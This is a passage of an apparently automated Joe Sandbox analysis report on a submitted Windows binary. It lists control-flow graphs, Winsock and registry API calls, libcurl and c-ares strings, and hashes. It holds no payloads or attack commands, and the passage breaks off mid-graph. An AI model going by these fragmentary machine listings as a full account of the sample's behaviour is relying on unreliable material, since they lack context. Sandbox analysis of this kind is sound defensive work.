8e0a37-8e0a3a 1696->1707 1702 8e0839-8e0842 call 8e6fa0 1697->1702 1703 8e0861-8e087e 1697->1703 1698->1680 1705 8e06f0 1698->1705 1699->1673 1700->1667 1700->1669 1701->1682 1701->1688 1715 8e0847-8e084c 1702->1715 1722 8e0882-8e088d 1703->1722 1705->1676 1706->1673 1713 8e0a58-8e0a81 call 8e2f10 1706->1713 1707->1706 1708->1701 1711->1695 1712->1711 1716 8e079c-8e07c2 call 8d76a0 1712->1716 1713->1673 1728 8e0a87-8e0a97 call 8e6df0 1713->1728 1719 8e0a9c-8e0aa4 1715->1719 1720 8e0852 1715->1720 1716->1711 1719->1673 1720->1703 1724 8e0854-8e085f 1720->1724 1726 8e0893-8e08b1 1722->1726 1727 8e0970-8e0975 1722->1727 1724->1722 1732 8e08c8-8e08f7 1726->1732 1730 8e097b-8e0989 call 8d70b0 1727->1730 1731 8e0a19-8e0a2c 1727->1731 1728->1673 1730->1731 1740 8e098f-8e099e 1730->1740 1731->1696 1738 8e08fd-8e0925 1732->1738 1739 8e08f9-8e08fb 1732->1739 1741 8e0928-8e093f 1738->1741 1739->1741 1742 8e09b0-8e09c1 call 8d70d0 1740->1742 1748 8e0945-8e096b 1741->1748 1749 8e08b3-8e08c2 1741->1749 1746 8e09c3-8e09c7 1742->1746 1747 8e09a0-8e09ae call 8d70e0 1742->1747 1750 8e09e8-8e0a03 WSAEnumNetworkEvents 1746->1750 1747->1731 1747->1742 1748->1749 1749->1727 1749->1732 1752 8e0a05-8e0a17 1750->1752 1753 8e09d0-8e09e6 WSAEventSelect 1750->1753 1752->1753 1753->1747 1753->1750
                                                  APIs
                                                  • WSAEventSelect.WS2_32(?,8508C483,?), ref: 008E0712
                                                  • WSAEventSelect.WS2_32(?,8508C483,00000000), ref: 008E09DC
                                                  • WSAEnumNetworkEvents.WS2_32(?,00000000,00000000), ref: 008E09FB
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: EventSelect$EnumEventsNetwork
                                                  • String ID: multi.c
                                                  • API String ID: 2170980988-214371023
                                                  • Opcode ID: a12fe59e6b17b0e2081f92c38988e4f66edf3e2d901e85d704db5deb000fc77b
                                                  • Instruction ID: e0b652a2c087673e6ab019314391e775d4951be7feaee7ae670e04ad0a924d6f
                                                  • Opcode Fuzzy Hash: a12fe59e6b17b0e2081f92c38988e4f66edf3e2d901e85d704db5deb000fc77b
                                                  • Instruction Fuzzy Hash: 0DD1AB716083869BE7109F66CC81B6B77E5FB96308F044C2DF884D2252E7B5E985CF52
                                                  Function 0099B180 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 323COMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 1980 99b180-99b195 1981 99b19b-99b1a2 1980->1981 1982 99b3e0-99b3e7 1980->1982 1983 99b1b0-99b1b9 1981->1983 1983->1983 1984 99b1bb-99b1bd 1983->1984 1984->1982 1985 99b1c3-99b1d0 1984->1985 1987 99b3db 1985->1987 1988 99b1d6-99b1f2 1985->1988 1987->1982 1989 99b229-99b22d 1988->1989 1990 99b3e8-99b417 1989->1990 1991 99b233-99b246 1989->1991 1999 99b41d-99b429 1990->1999 2000 99b582-99b589 1990->2000 1992 99b248-99b24b 1991->1992 1993 99b260-99b264 1991->1993 1994 99b24d-99b256 1992->1994 1995 99b215-99b223 1992->1995 1997 99b269-99b286 call 99af30 1993->1997 1994->1997 1995->1989 1998 99b315-99b33c call c58b00 1995->1998 2008 99b288-99b2a3 call 99b060 1997->2008 2009 99b2f0-99b301 1997->2009 2011 99b3bf-99b3ca 1998->2011 2012 99b342-99b347 1998->2012 2003 99b42b-99b433 call 99b590 1999->2003 2004 99b435-99b44c call 99b590 1999->2004 2003->2004 2020 99b458-99b471 call 99b590 2004->2020 2021 99b44e-99b456 call 99b590 2004->2021 2027 99b2a9-99b2c7 getsockname call 99b020 2008->2027 2028 99b200-99b213 call 99b020 2008->2028 2009->1995 2024 99b307-99b310 2009->2024 2022 99b3cc-99b3d9 2011->2022 2017 99b349-99b358 2012->2017 2018 99b384-99b38f 2012->2018 2025 99b360-99b382 2017->2025 2018->2011 2026 99b391-99b3a5 2018->2026 2036 99b48c-99b4a7 2020->2036 2037 99b473-99b487 2020->2037 2021->2020 2022->1982 2024->2022 2025->2018 2025->2025 2032 99b3b0-99b3bd 2026->2032 2038 99b2cc-99b2dd 2027->2038 2028->1995 2032->2011 2032->2032 2040 99b4a9-99b4b1 call 99b660 2036->2040 2041 99b4b3-99b4cb call 99b660 2036->2041 2037->2000 2038->1995 2042 99b2e3 2038->2042 2040->2041 2047 99b4d9-99b4f5 call 99b660 2041->2047 2048 99b4cd-99b4d5 call 99b660 2041->2048 2042->2024 2053 99b50d-99b52b call 99b770 * 2 2047->2053 2054 99b4f7-99b50b 2047->2054 2048->2047 2053->2000 2059 99b52d-99b531 2053->2059 2054->2000 2060 99b580 2059->2060 2061 99b533-99b53b 2059->2061 2060->2000 2062 99b578-99b57e 2061->2062 2063 99b53d-99b547 2061->2063 2062->2000 2063->2062 2064 99b549-99b54d 2063->2064 2064->2062 2065 99b54f-99b558 2064->2065 2065->2062 2066 99b55a-99b576 call 99b870 * 2 2065->2066 2066->2000 2066->2062
                                                  APIs
                                                  • getsockname.WS2_32(-00000020,-00000020,?), ref: 0099B2B6
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: getsockname
                                                  • String ID: ares__sortaddrinfo.c$cur != NULL
                                                  • API String ID: 3358416759-2430778319
                                                  • Opcode ID: b150dbf6209de39139154078a51481bb2dc6e7f264e4473c9e19c594b7e49276
                                                  • Instruction ID: 98c533a3043e6f9bc959a2e5f9e88f4a92c861529256ac977c2091a0fbc3be84
                                                  • Opcode Fuzzy Hash: b150dbf6209de39139154078a51481bb2dc6e7f264e4473c9e19c594b7e49276
                                                  • Instruction Fuzzy Hash: EAC19E716053059FDB18DF28DA81A6E77E5EF88704F05892CF8498B3A1DB38ED45CB81
                                                  Function 008E6FA0 Relevance: 1.8, APIs: 1, Instructions: 261COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: ad6d5a874036e5bc9164fba1283c2cf66c28b207d123a98386100801b8fc3da3
                                                  • Instruction ID: 0b3caa6d3e92d8724ae067942f86e6ccf71a829b6ad224a3dbbdf5df175b6bad
                                                  • Opcode Fuzzy Hash: ad6d5a874036e5bc9164fba1283c2cf66c28b207d123a98386100801b8fc3da3
                                                  • Instruction Fuzzy Hash: A391033060C78A8BD7358A2A88847BB72D5FFC2364F148B2CE999C31D4EB719D41E681
                                                  Function 0099A8C0 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • recvfrom.WS2_32(?,?,?,00000000,00001001,?,?,?,?,?,0098712E,?,?,?,00001001,00000000), ref: 0099A90C
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: recvfrom
                                                  • String ID:
                                                  • API String ID: 846543921-0
                                                  • Opcode ID: b0dfbac7ee449accd713ab806e341f2be78daf3da150f7f9b377d6633d3b0a78
                                                  • Instruction ID: e42fabcec83443b4f6d4af75a70390f77970b17d91b6b2e933763ad106da9af8
                                                  • Opcode Fuzzy Hash: b0dfbac7ee449accd713ab806e341f2be78daf3da150f7f9b377d6633d3b0a78
                                                  • Instruction Fuzzy Hash: 73F06D75108308AFD6209E05DC44D6BBBEDFFC9758F06456DF948232118270AE10CAB6
                                                  Function 0098A440 Relevance: 51.8, APIs: 19, Strings: 10, Instructions: 1066registryCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 0098AA19
                                                  • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 0098AA4C
                                                  • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,?), ref: 0098AA97
                                                  • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 0098AAE9
                                                  • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 0098AB30
                                                  • RegCloseKey.KERNELBASE(?), ref: 0098AB6A
                                                  • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\Windows NT\DNSClient,00000000,00020019,?), ref: 0098AB82
                                                  • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\System\DNSClient,00000000,00020019,?), ref: 0098AC46
                                                  • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces,00000000,00020019,?), ref: 0098AD0A
                                                  • RegEnumKeyExA.KERNELBASE ref: 0098AD8D
                                                  • RegCloseKey.KERNELBASE(?), ref: 0098ADD9
                                                  • RegEnumKeyExA.KERNELBASE ref: 0098AE08
                                                  • RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,?), ref: 0098AE2A
                                                  • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 0098AE54
                                                  • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 0098AF63
                                                  • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 0098AFB2
                                                  • RegQueryValueExA.KERNELBASE(?,DhcpDomain,00000000,00000000,00000000,00000000), ref: 0098B072
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: QueryValue$Open$CloseEnum
                                                  • String ID: ;z$DhcpDomain$Domain$PrimaryDNSSuffix$SearchList$Software\Policies\Microsoft\System\DNSClient$Software\Policies\Microsoft\Windows NT\DNSClient$System\CurrentControlSet\Services\Tcpip\Parameters$System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces$cx
                                                  • API String ID: 4217438148-2091938379
                                                  • Opcode ID: daec362c0ca7fc0ccd9116de2963eb82a023aff50e11e471fcc75c0f57c9def7
                                                  • Instruction ID: ef5127a184b7d73a70dad9448b10138add6757e796f18d58211fd7eaac6fd889
                                                  • Opcode Fuzzy Hash: daec362c0ca7fc0ccd9116de2963eb82a023aff50e11e471fcc75c0f57c9def7
                                                  • Instruction Fuzzy Hash: 5D7290B1608301ABF720EB24CC85B6BB7E8AF95700F144829F989D73A1E775E945CB53
                                                  Function 0090A550 Relevance: 28.8, APIs: 1, Strings: 15, Instructions: 794COMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 0090A832
                                                  Strings
                                                  • bind failed with errno %d: %s, xrefs: 0090B080
                                                  • Name '%s' family %i resolved to '%s' family %i, xrefs: 0090ADAC
                                                  • Bind to local port %d failed, trying next, xrefs: 0090AFE5
                                                  • Local Interface %s is ip %s using address family %i, xrefs: 0090AE60
                                                  • @, xrefs: 0090AC42
                                                  • cf_socket_open() -> %d, fd=%d, xrefs: 0090A796
                                                  • Trying %s:%d..., xrefs: 0090A7C2, 0090A7DE
                                                  • Could not set TCP_NODELAY: %s, xrefs: 0090A871
                                                  • @, xrefs: 0090A8F4
                                                  • Local port: %hu, xrefs: 0090AF28
                                                  • Trying [%s]:%d..., xrefs: 0090A689
                                                  • Couldn't bind to interface '%s' with errno %d: %s, xrefs: 0090AD0A
                                                  • cf-socket.c, xrefs: 0090A5CD, 0090A735
                                                  • Couldn't bind to '%s' with errno %d: %s, xrefs: 0090AE1F
                                                  • sa_addr inet_ntop() failed with errno %d: %s, xrefs: 0090A6CE
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.2213024646.00000000008D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008D0000, based on PE: true
                                                  • Associated: 00000000.00000002.2213000632.00000000008D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213024646.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213537013.0000000000FAC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000112B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001235000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.0000000001320000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213556797.000000000132F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2213883787.0000000001330000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214027739.00000000014DC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.2214048055.00000000014DE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_8d0000_4o4t8dO4r1.jbxd
                                                  Similarity
                                                  • API ID: setsockopt
                                                  • String ID: Trying %s:%d...$ Trying [%s]:%d...$ @$ @$Bind to local port %d failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s' with errno %d: %s$Couldn't bind to interface '%s' with errno %d: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$cf-socket.c$cf_socket_open() -> %d, fd=%d$sa_addr inet_ntop() failed with errno %d: %s
                                                  • API String ID: 3981526788-2373386790
                                                  • Opcode ID: 50ad5ab500136e87d6ea29c1d01dbeed23e0fe89029612078e599e01f0b2c219
                                                  • Instruction ID: be6186954e221f6139be660e5f2ed9ecf4241bfa4305a64091ec7f23f796df2f
                                                  • Opcode Fuzzy Hash: 50ad5ab500136e87d6ea29c1d01dbeed23e0fe89029612078e599e01f0b2c219
                                                  • Instruction Fuzzy Hash: 8362E071508381AFE721CF24C846BABB3E9BF95314F044929F988972D2E771A945CBD3
                                                  Function 00999740 Relevance: 18.2, APIs: 3, Strings: 7, Instructions: 743registryCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 857 999740-99975b 858 99975d-999768 call 9978a0 857->858 859 999780-999782 857->859 868 9999bb-9999c0 858->868 869 99976e-999770 858->869 860 999788-9997a0 call c58e00 call 9978a0 859->860 861 999914-99994e call c58b70 RegOpenKeyExA 859->861 860->868 875 9997a6-9997c5 860->875 872 99995a-999992 RegQueryValueExA RegCloseKey call c58b98 861->872 873 999950-999955 861->873 870 999a0c-999a15 868->870 874 999772-99977e 869->874 869->875 887 999997-9999b5 call 9978a0 872->887 873->870 874->860 880 999827-999833 875->880 881 9997c7-9997e0 875->881 883 99985f-999872 call 995ca0 880->883 884 999835-99985c call 98e2b0 * 2 880->884 885 9997e2-9997f3 call c58b50 881->885 886 9997f6-999809 881->886 897 999878-99987d call 9977b0 883->897 898 9999f0 883->898 884->883 885->886 886->880 896 99980b-999810 886->896 887->868 887->875 896->880 900 999812-999822 896->900 904 999882-999889 897->904 903 9999f5-9999fb call 995d00 898->903 900->870 911 9999fe-999a09 903->911 904->903 908 99988f-99989b call 984fe0 904->908 908->898 916 9998a1-9998c3 call c58b50 call 9978a0 908->916 911->870 921 9998c9-9998db call 98e2d0 916->921 922 9999c2-9999ed call 98e2b0 * 2 916->922 921->922 926 9998e1-9998f0 call 98e2d0 921->926 922->898 926->922 932 9998f6-999905 call 9963f0 926->932 937 99990b-99990f 932->937 938 999f66-999f7f call 995d00 932->938 940 999a3f-999a5a call 996740 call 9963f0 937->940 938->911 940->938 946 999a60-999a6e call 996d60 940->946 949 999a1f-999a39 call 996840 call 9963f0 946->949 950 999a70-999a94 call 996200 call 9967e0 call 996320 946->950 949->938 949->940 961 999a16-999a19 950->961 962 999a96-999ac6 call 98d120 950->962 961->949 963 999fc1 961->963 968 999ac8-999adb call 98d120 962->968 969 999ae1-999af7 call 98d190 962->969 965 999fc5-999ffd call 995d00 call 98e2b0 * 2 963->965 965->911 968->949 968->969 969->949 975 999afd-999b09 call 984fe0 969->975 975->963 981 999b0f-999b29 call 98e730 975->981 986 999b2f-999b3a call 9978a0 981->986 987 999f84-999f88 981->987 986->987 994 999b40-999b54 call 98e760 986->994 989 999f95-999f99 987->989 991 999f9b-999f9e 989->991 992 999fa0-999fb6 call 98ebf0 * 2 989->992 991->963 991->992 1003 999fb7-999fbe 992->1003 1000 999f8a-999f92 994->1000 1001 999b5a-999b6e call 98e730 994->1001 1000->989 1007 999b8c-999b97 call 9963f0 1001->1007 1008 999b70-99a004 1001->1008 1003->963 1016 999c9a-999cab call 98ea00 1007->1016 1017 999b9d-999bbf call 996740 call 9963f0 1007->1017 1012 99a015-99a01d 1008->1012 1014 99a01f-99a022 1012->1014 1015 99a024-99a045 call 98ebf0 * 2 1012->1015 1014->965 1014->1015 1015->965 1024 999f31-999f35 1016->1024 1025 999cb1-999ccd call 98ea00 call 98e960 1016->1025 1017->1016 1035 999bc5-999bda call 996d60 1017->1035 1029 999f40-999f61 call 98ebf0 * 2 1024->1029 1030 999f37-999f3a 1024->1030 1044 999cfd-999d0e call 98e960 1025->1044 1045 999ccf 1025->1045 1029->949 1030->949 1030->1029 1035->1016 1043 999be0-999bf4 call 996200 call 9967e0 1035->1043 1043->1016 1063 999bfa-999c0b call 996320 1043->1063 1054 999d10 1044->1054 1055 999d53-999d55 1044->1055 1049 999cd1-999cec call 98e9f0 call 98e4a0 1045->1049 1068 999cee-999cfb call 98e9d0 1049->1068 1069 999d47-999d51 1049->1069 1058 999d12-999d2d call 98e9f0 call 98e4a0 1054->1058 1061 999e69-999e8e call 98ea40 call 98e440 1055->1061 1086 999d5a-999d6f call 98e960 1058->1086 1087 999d2f-999d3c call 98e9d0 1058->1087 1082 999e90-999e92 1061->1082 1083 999e94-999eaa call 98e3c0 1061->1083 1079 999c11-999c1c call 997b70 1063->1079 1080 999b75-999b86 call 98ea00 1063->1080 1068->1044 1068->1049 1075 999dca-999ddb call 98e960 1069->1075 1091 999ddd-999ddf 1075->1091 1092 999e2e-999e36 1075->1092 1079->1007 1105 999c22-999c33 call 98e960 1079->1105 1080->1007 1102 999f2d 1080->1102 1089 999eb3-999ec4 call 98e9c0 1082->1089 1110 99a04a-99a04c 1083->1110 1111 999eb0-999eb1 1083->1111 1106 999d71-999d73 1086->1106 1107 999dc2 1086->1107 1087->1058 1113 999d3e-999d42 1087->1113 1089->949 1118 999eca-999ed0 1089->1118 1101 999e06-999e21 call 98e9f0 call 98e4a0 1091->1101 1098 999e38-999e3b 1092->1098 1099 999e3d-999e5b call 98ebf0 * 2 1092->1099 1098->1099 1108 999e5e-999e67 1098->1108 1099->1108 1138 999de1-999dee call 98ec80 1101->1138 1139 999e23-999e2c call 98eac0 1101->1139 1102->1024 1128 999c35 1105->1128 1129 999c66-999c75 call 9978a0 1105->1129 1116 999d9a-999db5 call 98e9f0 call 98e4a0 1106->1116 1107->1075 1108->1061 1108->1089 1121 99a04e-99a051 1110->1121 1122 99a057-99a070 call 98ebf0 * 2 1110->1122 1111->1089 1113->1061 1157 999d75-999d82 call 98ec80 1116->1157 1158 999db7-999dc0 call 98eac0 1116->1158 1126 999ee5-999ef2 call 98e9f0 1118->1126 1121->963 1121->1122 1122->1003 1126->949 1144 999ef8-999f0e call 98e440 1126->1144 1136 999c37-999c51 call 98e9f0 1128->1136 1149 999c7b-999c8f call 98e7c0 1129->1149 